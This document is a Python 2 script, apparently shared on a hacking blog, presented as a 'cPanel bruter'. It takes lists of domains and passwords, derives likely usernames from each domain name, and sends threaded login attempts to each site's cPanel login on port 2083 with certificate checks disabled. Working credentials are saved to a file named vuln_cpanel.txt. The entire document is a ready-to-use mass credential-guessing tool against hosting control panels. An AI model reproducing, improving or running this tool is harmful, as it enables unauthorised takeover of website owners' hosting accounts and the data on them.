Private Linux/Unix/Windows Based Cpanel Bruter 2017 - Python

#!/usr/bin/python
#./scan.py 100 domains.txt passwords.txt
#By www.hack2wwworld.blogspot.com
import sys
import Queue
import threading
import tldextract
from ftplib import FTP
import requests
import random
from random import choice
import re
import socket
from threading import Timer
import operator
try:
    requests.packages.urllib3.disable_warnings()
except Exception, e:
    pass

def watchdog():
    return False

filename_cpanel = "vuln_cpanel.txt"
fisier_vuln_cpanel = open(filename_cpanel,'a')


class brute(threading.Thread):
    def __init__(self, queue):
        threading.Thread.__init__(self)
        self.queue = queue
    def run(self):
        while True:
            ip,user,passwd = self.queue.get()
            self.bruter(ip,user,passwd)
            self.queue.task_done()

    def bruter(self,ip,user,passwd):
        try:
            if ip in found: return False

            url = ip
            if passwd in "%username%":
                passwd = user
            if passwd in "%user%":
                passwd = user

            print '[?] Trying '+ip+':'+user+':'+passwd

            login_data = {'user' : user, 'pass' : passwd}
            s = requests.session()
            ttt = Timer(20, watchdog)
            ttt.start()
            r1 = s.post('https://'+url+':2083/login/?login_only=1', data=login_data, verify=False, timeout=18)
            ttt.cancel()
            json_login = r1.text

            sess_login = re.compile("security_token\":\"(.+)\"}")
            sess_login = sess_login.search(json_login)
            sess_login = sess_login.group(1)
            print "\n[+++] Found cPanel : "+url+","+user+","+passwd

            found.append(url)

            fisier_vuln_cpanel.write("https://"+url+":2083,"+user+","+passwd+"\n")

            #clean
            fisier_vuln_cpanel.flush()
            login_data.flush()
            url.flush()
            sess_login.flush()
            r1.flush()
            json_login.flush()


            return True
        except Exception, e:
            return False

def generateusers(ip):
    ext = tldextract.extract("https://"+ip)

    subdomeniu = ext[0].replace(".","").replace("-","")
    domeniu = ext[1].replace("-","")
    sufix = ext[2].replace(".","")

    lungime_subdomeniu = int(len(subdomeniu))
    lungime_domeniu = int(len(domeniu))
    diferenta_subdomeniu = int(8 - lungime_subdomeniu)
    diferenta_domeniu = int(8 - lungime_domeniu)

    #print "lungime domeniu: "+str(lungime_domeniu)+", diferenta domeniu: "+str(diferenta_domeniu)+" lungime subdomeniu: "+str(lungime_subdomeniu)+" diferenta subdomeniu: "+str(diferenta_subdomeniu)
    users = []


    if(lungime_domeniu >= 8):
        users.append(domeniu[:8])
    else:
        users.append(domeniu)

    return users


def brutemain():
    if len(sys.argv) < 2:
        print "NO ARGS"
        return False
    ThreadNR = int(sys.argv[1])
    queue = Queue.Queue()
    try:
        i = 0
        for i in range(ThreadNR):
            t = brute(queue)
            t.daemon = True
            t.start()
            i += 1
    except Exception, e:
        print '[!] Cant start more than ',i,' threads!\n'

    global found
    found = []


    with open(str(sys.argv[2]),'rU') as ipf: ips = ipf.read().splitlines()
    with open(str(sys.argv[3]),'rU') as pf: passwords = pf.read().splitlines()


    stiva = {}

    try:
        print "\n[!] Creating url:user:pass combinations, patience please.\n"
        counter = 1
        ips_lungime = len(ips)
        combinatie = dict()
        countery = 0
        for ip in ips:
            ip = ip.lower()
            ip.replace('www.','')
            stiva[ip] = dict()
            counterz = 0
            for user in generateusers(ip):
                for password in passwords:
                    stiva[ip][counterz] = dict()
                    stiva[ip][counterz] = str(user+","+password)
                    counterz = counterz + 1
                    countery = countery + 1



            print "\n Generating combinations for domain: "+str(counter)+" / "+str(ips_lungime)
            counter = counter+1


        print "\n[!] Rearranging combinations for better use, patience please.\n"
        for k in range(0,countery):
            for ip in ips:
                try:
                    #print ip+","+stiva[ip][k]
                    split_string = stiva[ip][k].split(',',2)
                    queue.put((ip,split_string[0],split_string[1]))
                    del stiva[ip][k]
                except Exception, e:
                    pass

        del stiva
        del k
        del ip
        #print "\n[!] Done creating url:user:pass combinations.\n"
    except Exception, e:
        print "\n[!] Error creating url:user:pass combinations!\n"


    queue.join()

if __name__ == "__main__":
    brutemain()